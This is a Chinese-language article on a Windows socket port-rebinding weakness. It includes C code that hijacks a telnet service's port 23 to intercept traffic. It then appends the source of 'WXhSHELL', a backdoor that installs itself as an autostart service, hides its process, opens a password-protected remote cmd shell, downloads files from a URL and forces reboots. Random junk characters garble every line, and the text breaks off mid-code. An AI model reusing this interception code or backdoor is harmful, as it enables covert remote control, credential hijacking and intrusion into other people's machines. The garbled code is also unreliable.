在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
<Jk|Bmw; s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
j?(QieBH m4
(Fuu saddr.sin_family = AF_INET;
BMW4E 5 'mM5l*{ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
!1_:n D 3QVng^"B) bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Tk:y>P!%a .PxM
#;i2 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
_Owz% nNKL{Hp 这意味着什么?意味着可以进行如下的攻击:
:U>
oW97l L$Q+R' 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
1 &<@(S< VQ;=-95P 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Xz@>sY>Jc (
FRf.mv{ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
l]Sui_+ZU 8K/lpqw 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
xl^'U/ }ie]7N6; 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
)wRD U8mu<) 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
pf_ /jR 2^aTW`>L 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
>seB["C BSY#xe V #include
m @%|Q; #include
wMoAvA_oS #include
@!da1jN #include
+*q@= P, DWORD WINAPI ClientThread(LPVOID lpParam);
/~[R
u int main()
>>r:L3 <! {
*Y ZLQT WORD wVersionRequested;
P.:T
zk6 DWORD ret;
6>I.*Qt \l WSADATA wsaData;
:Mk}Suf&H BOOL val;
[1U_c*;i SOCKADDR_IN saddr;
DvCt^O* SOCKADDR_IN scaddr;
/WfxI>v int err;
I'C,' SOCKET s;
:Eyv= = SOCKET sc;
d8#j@='a* int caddsize;
2'U9!.o HANDLE mt;
nz\fN?q DWORD tid;
rWXW}Yg wVersionRequested = MAKEWORD( 2, 2 );
|9I;`{@ err = WSAStartup( wVersionRequested, &wsaData );
O)R0,OPb if ( err != 0 ) {
F?kVW[h?q printf("error!WSAStartup failed!\n");
2LU'C,o? return -1;
P>-,6a> }
$EIkk= z saddr.sin_family = AF_INET;
F{,O+\ M6sDtL9l //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
s|'L0` <B (/U1J saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
@\?f77Of6 saddr.sin_port = htons(23);
3D0I5LF& if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
z<>_*Lfj {
^@2Vh*k printf("error!socket failed!\n");
j+hoj2( return -1;
b*KZe[#M1 }
W\7*T1TDj val = TRUE;
v_0!uT5~NE //SO_REUSEADDR选项就是可以实现端口重绑定的
KoJG!Rm if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
r
`dU
(T! {
-huZnDN printf("error!setsockopt failed!\n");
*
U4:K@y return -1;
sBnPS[Oo }
beE%%C]X //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
<*(R+to^d //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
@`D6F;R //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
9,CC1f . $YF|v[= if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
vM/v}6;_K2 {
AtDrQ<>y' ret=GetLastError();
1.uQ(>n printf("error!bind failed!\n");
su;S)yZb return -1;
a7G2C oM8 }
>>zoG3H! listen(s,2);
KCE-6T while(1)
QO k"UP {
>iN%Uz caddsize = sizeof(scaddr);
0)V-|v` //接受连接请求
{2^@jD sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
3 H2;mqq if(sc!=INVALID_SOCKET)
I >Q,]S1h {
_ZBR<{ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
.~
lt+M9 if(mt==NULL)
qI*1+R} {
a HL '(< printf("Thread Creat Failed!\n");
-<]_:Kf{;& break;
Q0\5j<'e }
C/Bx_j(( }
?
M_SNv CloseHandle(mt);
ZS]f+}0/} }
0f/!|c closesocket(s);
,
% jTXb WSACleanup();
oH0F9*+W return 0;
L"%eQHEC& }
z
5+]Z a~ DWORD WINAPI ClientThread(LPVOID lpParam)
+lJ]-U|P {
$]J IA| SOCKET ss = (SOCKET)lpParam;
Eo&qc 17)` SOCKET sc;
,D,f9 unsigned char buf[4096];
y|{?>3 SOCKADDR_IN saddr;
`+c9m^ long num;
#`0z=w/) DWORD val;
ya g DWORD ret;
}#5roNH~Z //如果是隐藏端口应用的话,可以在此处加一些判断
ItE~MJ5p //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
a' o8n6i saddr.sin_family = AF_INET;
}p?V5Qp saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
h\\2r> saddr.sin_port = htons(23);
Q$/F gS
if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
"0zXpQi,B {
M|e
n>P printf("error!socket failed!\n");
(Gc`3jJ return -1;
l zPS
RT }
<|Eby!KXR val = 100;
|S`yXsg if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
'xoE
[0! {
@k6}4O?{ ret = GetLastError();
sNmC#, return -1;
\'tz| }
$'{`i5XB if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
vqz#V=J{ {
T)f_W ret = GetLastError();
P Xn>x8z return -1;
E/$@ud|l" }
)h_7 2 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
[k7N+W8 {
Z)T@`B6
printf("error!socket connect failed!\n");
?V:]u3 closesocket(sc);
`+Z#*lj|@ closesocket(ss);
UH&1c8y} return -1;
rRrW }
mW0&uSMD while(1)
(`.qG
&6p {
G:C6`uiy` //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
8kM0
//如果是嗅探内容的话,可以再此处进行内容分析和记录
<ZC^H //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
^
R^N`V num = recv(ss,buf,4096,0);
jI2gi1,a if(num>0)
bW.zxQ: send(sc,buf,num,0);
*
r4/|.l else if(num==0)
^'53]b: break;
SOQ-D4q num = recv(sc,buf,4096,0);
vp75u93 if(num>0)
2n;;Tso" send(ss,buf,num,0);
!^bB/e else if(num==0)
r2F break;
FoD/Q
}
})Mv9~&S closesocket(ss);
cc(r,ij~4 closesocket(sc);
sa(M66KkU return 0 ;
-WBz]GW4r }
o7a6 )2JK +IO1ipc4cE <Dj$0g ==========================================================
+6M+hO] 0H&U=9'YT 下边附上一个代码,,WXhSHELL
XvkI+c d7tD|[(J ==========================================================
SAE'?_ cvXI]+`<3\ #include "stdafx.h"
+s(IQt Q'Kik5I #include <stdio.h>
dIfs8%kl #include <string.h>
6|>\&Y!Q #include <windows.h>
9H, &nET #include <winsock2.h>
&G@-yQ #include <winsvc.h>
Kg TGxCH #include <urlmon.h>
kl3S~gE4@ )\D40,p #pragma comment (lib, "Ws2_32.lib")
e]*=sp!T #pragma comment (lib, "urlmon.lib")
P2Qyz}!wo r{B,uj" #define MAX_USER 100 // 最大客户端连接数
0.BUfuuh #define BUF_SOCK 200 // sock buffer
@wdB% #define KEY_BUFF 255 // 输入 buffer
qzlMn)e yK%GsCJd: #define REBOOT 0 // 重启
<X I35\^ #define SHUTDOWN 1 // 关机
8} ?Y;>s\ )lDIzLp #define DEF_PORT 5000 // 监听端口
L^ #< HQ
kulQR>u #define REG_LEN 16 // 注册表键长度
ZYA.1VrM #define SVC_LEN 80 // NT服务名长度
7=p-A_X 'D0X?2 // 从dll定义API
R|)2Dg typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
|N=@E,33 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
[
4Y
`O typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
`k}l$ih`X typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
nc\C4g ? __aVQ7 // wxhshell配置信息
d7_ g
u struct WSCFG {
0n<(*bfW int ws_port; // 监听端口
w^dueP7J char ws_passstr[REG_LEN]; // 口令
$uFh$f int ws_autoins; // 安装标记, 1=yes 0=no
Q{l*62Bx char ws_regname[REG_LEN]; // 注册表键名
v<7Gln char ws_svcname[REG_LEN]; // 服务名
D _bkUR1 char ws_svcdisp[SVC_LEN]; // 服务显示名
+{C9uY)$vf char ws_svcdesc[SVC_LEN]; // 服务描述信息
#[U9(44, char ws_passmsg[SVC_LEN]; // 密码输入提示信息
fr'huvc int ws_downexe; // 下载执行标记, 1=yes 0=no
Hr<C2p^a char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
-wfRR>)d char ws_filenam[SVC_LEN]; // 下载后保存的文件名
io9xI3{ # +QWi0B };
InPy:} ~[uV // default Wxhshell configuration
CmJ?_> struct WSCFG wscfg={DEF_PORT,
pg?i F1 "xuhuanlingzhe",
r}y[r}vk 1,
o1#:j?sN "Wxhshell",
b,rH&+2H "Wxhshell",
2i7i\?<. "WxhShell Service",
s?@)a,C%k "Wrsky Windows CmdShell Service",
<nb3~z1 "Please Input Your Password: ",
$p0 /6c 1,
DD@)z0W "
http://www.wrsky.com/wxhshell.exe",
O+E1M=R6h "Wxhshell.exe"
S}m$,<x };
1(%>`=R8 1A?\BJ" // 消息定义模块
oxMUW<gYd char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
}#ep}h
char *msg_ws_prompt="\n\r? for help\n\r#>";
CCW%G,$U9 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
h5&/hBN char *msg_ws_ext="\n\rExit.";
%su}Ru char *msg_ws_end="\n\rQuit.";
L8bI0a]r"* char *msg_ws_boot="\n\rReboot...";
OB I+<2`Oc char *msg_ws_poff="\n\rShutdown...";
0~Iu7mPY char *msg_ws_down="\n\rSave to ";
up3?$hUc. T}n}.JwU char *msg_ws_err="\n\rErr!";
J+}+"h~. char *msg_ws_ok="\n\rOK!";
{ywXz|TP (@KoqwVWc char ExeFile[MAX_PATH];
|%'6f}fnE int nUser = 0;
"+n4 c' HANDLE handles[MAX_USER];
_}I(U?Q-C int OsIsNt;
H:q )^$s a@fE46o6< SERVICE_STATUS serviceStatus;
z29qARiX SERVICE_STATUS_HANDLE hServiceStatusHandle;
pK6e/eC m feMmKFu\ // 函数声明
HBh` 2Q int Install(void);
mFqSD int Uninstall(void);
" K 8&{= int DownloadFile(char *sURL, SOCKET wsh);
ySwYV int Boot(int flag);
Cdp]Nv6 void HideProc(void);
4?>18%7& int GetOsVer(void);
I!$jYY2 int Wxhshell(SOCKET wsl);
Ic[}V0dk void TalkWithClient(void *cs);
49+ >f int CmdShell(SOCKET sock);
p{ @CoOn int StartFromService(void);
0T9@,scY int StartWxhshell(LPSTR lpCmdLine);
)%iRZ\`f /OQK/
t63 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Si?$\H*: VOID WINAPI NTServiceHandler( DWORD fdwControl );
>aEL;V=}P G3RrjWtO // 数据结构和表定义
dSOlD/c
SERVICE_TABLE_ENTRY DispatchTable[] =
6X@mPj[/ {
10C 2= {wscfg.ws_svcname, NTServiceMain},
;YK!EMM4!h {NULL, NULL}
Aautih@LX };
gEZwW]r- NXzU0 // 自我安装
tmO;:n<N int Install(void)
)Qh>0T+( {
cS<TmS! char svExeFile[MAX_PATH];
v!NB~"LQ HKEY key;
uP{;*E3? strcpy(svExeFile,ExeFile);
X}oj_zsy;^ rQ9*J // 如果是win9x系统,修改注册表设为自启动
cI*KRCU if(!OsIsNt) {
)Vwj9WD if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
S5i+vUI8C RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
nK+lE0 RegCloseKey(key);
HQq`pG%m6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
t*{,Gk RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
![^EsgEB* RegCloseKey(key);
z 0~j return 0;
x}tKewdOSe }
<jbj/Q )" }
Wgxn`6 }
W8f`J2^"M else {
Zxg 1M `kv1@aQPL // 如果是NT以上系统,安装为系统服务
eYJ{LPo SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
_h0- if (schSCManager!=0)
c {1V. {
]]>nbgGn# SC_HANDLE schService = CreateService
H76E+AY (
}<vvxi schSCManager,
Vy]A,Rn7 wscfg.ws_svcname,
B,3 t` wscfg.ws_svcdisp,
9'1hjd3k SERVICE_ALL_ACCESS,
D9ANm"# SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
"$GK.MP5 SERVICE_AUTO_START,
5^\m`gS SERVICE_ERROR_NORMAL,
$fj])>=H svExeFile,
I0!j<G NULL,
EPc!p> NULL,
fD'/#sA#' NULL,
XZ}de%U1 NULL,
`)"tO&Fn NULL
lp(Nv(S );
4[`[mE18. if (schService!=0)
{5>3;. {
-
$%jb2 CloseServiceHandle(schService);
)AOPiC$jL CloseServiceHandle(schSCManager);
o6*/o ]] strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
sp|q((z{ strcat(svExeFile,wscfg.ws_svcname);
sF y]+DB if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
yL.^ = RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
+Y7Pg'35 RegCloseKey(key);
M~-h-tG return 0;
V|TA:&:7 }
z; J }
JfMJF[Mb
CloseServiceHandle(schSCManager);
QV0M/k<' }
@|Dm E!) }
pjACFVMFX zt?h^zf} return 1;
(#oYyM] }
2xDQ:=ec J==}QEhQ{ // 自我卸载
?FN9rhAC int Uninstall(void)
j~epbl)pC {
B22b&0 HKEY key;
[ a@B
=E ' PELf
P8 if(!OsIsNt) {
>)LAjwhBp if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
u*hH} RegDeleteValue(key,wscfg.ws_regname);
d<#p %$A4 RegCloseKey(key);
QO2Ut!Y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
0C]4~F x~ RegDeleteValue(key,wscfg.ws_regname);
o5P&JBX< RegCloseKey(key);
%VWp&a8 return 0;
gt/!~f0r }
:<|Z.4}kJb }
[UoqIU }
Rs2-94$!5 else {
M+0x;53nz wazP,9W? SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
pajy#0 U if (schSCManager!=0)
G.Tpl-m {
?;^5ghY$ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
~
7}] if (schService!=0)
ilv _D~|
{
>Fyu@u if(DeleteService(schService)!=0) {
zrrz<dW CloseServiceHandle(schService);
:9`qogF> CloseServiceHandle(schSCManager);
as(*B-_n~ return 0;
x9%-plP }
!Av1Leb9$ CloseServiceHandle(schService);
80}4/8 }
.a:Z!KF CloseServiceHandle(schSCManager);
VD/&%O8n }
Lyr2(^#: }
"R23Pi i
j/o;_ return 1;
Aq"PG}Ic }
yX'IZk#_L KaW~ERx5 // 从指定url下载文件
Rboof`pVt int DownloadFile(char *sURL, SOCKET wsh)
$T),DUYO {
p.C1 nh HRESULT hr;
cz#_<8'N char seps[]= "/";
4[1k\ char *token;
vL$|9|W( char *file;
!!WJn} char myURL[MAX_PATH];
K6hfauWd[ char myFILE[MAX_PATH];
hO6RQ0Iv@ 0wFh%/: strcpy(myURL,sURL);
-L8YJ8J6 token=strtok(myURL,seps);
sLi*SR while(token!=NULL)
3u_oRs {
b@6:1x file=token;
Fc'[+L--Q token=strtok(NULL,seps);
\5hw9T&[B }
<Y>3 ,eXFN?CB GetCurrentDirectory(MAX_PATH,myFILE);
(@q3^)I4 strcat(myFILE, "\\");
)[jy[[K( strcat(myFILE, file);
g/#~N~& send(wsh,myFILE,strlen(myFILE),0);
Fg=v6j4W send(wsh,"...",3,0);
sKd)BA0` hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
bnr|Y!T}Bi if(hr==S_OK)
s@~/x5jwCs return 0;
hJ[UB else
N@()F&e return 1;
o,FUfO}F Lm|al.Z }
Vv4H:BK$ SA+d&H}Fc // 系统电源模块
_CE9B e\ int Boot(int flag)
M/#U2!iFk {
&z>q#'X;. HANDLE hToken;
EwQae(PpA TOKEN_PRIVILEGES tkp;
h<Wg 3o ,QvYTJ{ if(OsIsNt) {
F7T E|LZ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
]fE3s{y
&- LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
p=B?/Sqa tkp.PrivilegeCount = 1;
y(v_-6b tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
o/1JO_41 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
RZh}: if(flag==REBOOT) {
X+iK<F$ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
!M(:U,?B return 0;
j#3m|dQ }
;SY.WfVA7 else {
e+@xsn3 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
"PzP;Br return 0;
DA=1KaJ . }
B< hEx@
}
gxmc| else {
oZ:{@= if(flag==REBOOT) {
ug#<LO-.Rd if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
2-mQt_
i return 0;
#
X/Q }
J3B.-XJ+n else {
VR4%v9[1 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
!SF^a6jT return 0;
J8;Okzb!L }
A1-qtAO] }
ZEGd4_ux /{X_
.fv<v return 1;
]:et~pfW }
k1fRj_@WPT !ZrB^?sO // win9x进程隐藏模块
(Es{l a G void HideProc(void)
Rla4L`X; {
kcS6 _l 3LW[H+k HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
>a=d; if ( hKernel != NULL )
#ElejQ|? {
5pJ*1pfeo pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
L~eAQR ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
bUs|t FreeLibrary(hKernel);
IN^_BKQt }
V@Wcb$mgk uV~e|X
"9s return;
:woa&(wN;1 }
<Wy>^<` {?i)K X^ // 获取操作系统版本
D{C:d\ e)$ int GetOsVer(void)
J^ ={} {
cy1jZ1) OSVERSIONINFO winfo;
doD>m?rig3 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
?/d!R]3 GetVersionEx(&winfo);
wL2XNdo}< if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
D1Yh,P<CF\ return 1;
;+`uER else
e<5Y94YE return 0;
[/ohk& }
*48IF33&s xR908+>5 // 客户端句柄模块
&+r4 int Wxhshell(SOCKET wsl)
El6bD% \G {
te'*<HM SOCKET wsh;
|4Ha?W struct sockaddr_in client;
C4NRDwU|. DWORD myID;
If'2rE7J n93zD*;5 while(nUser<MAX_USER)
6[?}6gQ {
sX:lE^)-z int nSize=sizeof(client);
YKs4{?vw wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
1V%'.l9 if(wsh==INVALID_SOCKET) return 1;
Wsm`YLYkt! bGv4.:) handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
p4>,Fwy2 if(handles[nUser]==0)
Qb`C)Nh: closesocket(wsh);
-3hCiKq else
Hr
}k5' nUser++;
ow.6!tl0=h }
x~/+RF XF WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
onl>54M^ f0oek{ return 0;
^\wl2 }
inF6M8
A1 n}J^6:1 // 关闭 socket
SxMj,u%X/ void CloseIt(SOCKET wsh)
o6|-=FcvC {
- DL"-%X. closesocket(wsh);
HXks_ix ) nUser--;
R]QpMj%o ExitThread(0);
G;]:$J }
_N'75 s[c^"@HT // 客户端请求句柄
eb!_ie"D void TalkWithClient(void *cs)
7ZFJexN] {
o4)hxs TnE+[.Qu SOCKET wsh=(SOCKET)cs;
/F~X,lm*~ char pwd[SVC_LEN];
+R[4\ hC0Y char cmd[KEY_BUFF];
J_xG}d char chr[1];
T:!MBWYe | int i,j;
2k1aX~? QnKC#
while (nUser < MAX_USER) {
_Bk
U+=|J )saR0{e0N if(wscfg.ws_passstr) {
Q$=*aUU%G if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
}<[Db}?9 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
O9]\Q@M. //ZeroMemory(pwd,KEY_BUFF);
LSkk;)'2K i=0;
XDLEVSly7 while(i<SVC_LEN) {
c> G@+ -G b-^G // 设置超时
?~F. / fd_set FdRead;
gyus8#s T struct timeval TimeOut;
fp&Got!pB FD_ZERO(&FdRead);
h~miP7,c<u FD_SET(wsh,&FdRead);
$TG?4 TimeOut.tv_sec=8;
.JAcPyK^ TimeOut.tv_usec=0;
4}yE+dRUK: int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
G)7)]yBL if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
9
5 H?{ <_:zI r, if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
OE"<!oIs pwd
=chr[0]; ((MLM3zJ
if(chr[0]==0xd || chr[0]==0xa) { PXEKV0y
pwd=0; V5MO}
break; 6Rz[?-mkLO
} $qm~c[x%
i++; c8ZCs?
} 8H
$ #+^lW
JTUNb'#RZ
// 如果是非法用户,关闭 socket lrys3
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); xm^95}80yh
} h%1Y6$
+ld;k/
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Hed$ytMaGz
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OM!=ViN(=
I;j3*lV_
while(1) { s4t0f_vj`
E`AYee%l
ZeroMemory(cmd,KEY_BUFF); 3N<&u
}kPVtSQ
// 自动支持客户端 telnet标准 ;CmOsA,1
j=0; !N~*EI$
while(j<KEY_BUFF) { nem@sB;v#
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t[2i$%NVM
cmd[j]=chr[0]; Y4To@TrN#\
if(chr[0]==0xa || chr[0]==0xd) { <lo`q<q
cmd[j]=0; GqUSVQ
break; )%mAZk-*;^
} 3{3/: 7
j++; =_QkH!vI
} i6>R qP!69
pP\h6b+B
// 下载文件 knSuzq%*
if(strstr(cmd,"http://")) { =kFuJ
x)f
send(wsh,msg_ws_down,strlen(msg_ws_down),0); }O*WV 1
if(DownloadFile(cmd,wsh)) V/bH^@,sA
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~`Sle
xK|}
else [ud|dwP"
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .,mPdVof
} 4<}A]BQVkJ
else { ']?=[`#NL
Y6VQ:glDT-
switch(cmd[0]) { J
Jy{@[m
p\S8oHWe
// 帮助 r~oSP^e'
case '?': { ct0v$ct>f
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); f z%tA39m
break; KXe
ka
} E5{n?e
// 安装 O5-;I,)H
case 'i': { x!?Z*v@I
if(Install()) M 9"-WIG@h
send(wsh,msg_ws_err,strlen(msg_ws_err),0); re uYTH
else ;r!\-]5$
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0w3b~RJ
break; 263*: Y
} }m_t$aaUc1
// 卸载 N!m%~kS9k<
case 'r': { T
% /
if(Uninstall()) r}EM4\r
send(wsh,msg_ws_err,strlen(msg_ws_err),0); uaxB -PZ
else :qnokrGzB
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1nB@zBQu-
break; sqG`"O4W
} J@`
8(\(
// 显示 wxhshell 所在路径 DHzkRCM
case 'p': { 7;xKy'B\
char svExeFile[MAX_PATH]; q\H7&w
strcpy(svExeFile,"\n\r"); 1+^n!$
strcat(svExeFile,ExeFile); xG%*PNM0q
send(wsh,svExeFile,strlen(svExeFile),0); F+*Q <a4
break; %6 ]\^
} 4oJ$dN
// 重启 76cEKHa<
case 'b': { -+P7:4/
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); b *9-}g:
if(Boot(REBOOT)) ;*QN9T=0
send(wsh,msg_ws_err,strlen(msg_ws_err),0); k1iLnza%
else { ('d{t:TsY
closesocket(wsh); b42QBTeg
ExitThread(0); XRa#21pQ
} @1.9PR$x
break; ]fC7%"nB
} ][t6VA
// 关机 owMmCR
case 'd': { oD,C<[(p
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \`gEu{
if(Boot(SHUTDOWN)) iGa}3pF
send(wsh,msg_ws_err,strlen(msg_ws_err),0); s3< F
else { .. UoyBV
closesocket(wsh); <[9?Rj@
ExitThread(0); (nz}J)T&
} Omb.53+
break; ~B]jV$=
} ~04[KG
// 获取shell )*
3bkKVB
case 's': { ,s? dAy5
CmdShell(wsh); Ff)@L-Y\K
closesocket(wsh); P;c0L;/
ExitThread(0); (H-cDsh;c
break; NL-_#N$
} R&!]Rl9hf
// 退出 +-P<CCvWz
case 'x': { i[_|%'p
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); o=mo/N4
CloseIt(wsh); wA",SBGX
break; y.ql#eQ,
} /.v_N%*-v
// 离开 uk6g s)qxC
case 'q': { 5Hy3\_ +
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~oFh>9u
closesocket(wsh); eP?~-#
WSACleanup(); %`oHemSy
exit(1); 0BDoBR
break; cz>mhD
} xp=Zd\5W$
} -3 ]|[
} 9m~t
j_
mQ=sNZ-d]
// 提示信息 (HJ$lxk<2h
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tj0Qr-/
} Y"oDFo,
} .FJj
6=3(oUl
return; a7=YG6[
} Ge1duRGa
QES^^PQe:
// shell模块句柄 8~qlLa>jc
int CmdShell(SOCKET sock) \-d'9b ?
{ 7@@<5&mN
STARTUPINFO si; UEN56@eCNf
ZeroMemory(&si,sizeof(si)); RxMoD.kx
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $^IjFdD
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,P~QS
PROCESS_INFORMATION ProcessInfo; !U[:5@s06
char cmdline[]="cmd"; Pv[ykrm/
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2_.CX(kI
return 0; L?Tu)<Mn
} kz_M;h>
}{t3SGs J
// 自身启动模式 <K,[sy&Qy
int StartFromService(void) B6uRJcD4
{ !^-OfqIHfV
typedef struct L,W:,i/C
{ lfRH`u
DWORD ExitStatus; gtMw3D`FL
DWORD PebBaseAddress; u`+'lBE,
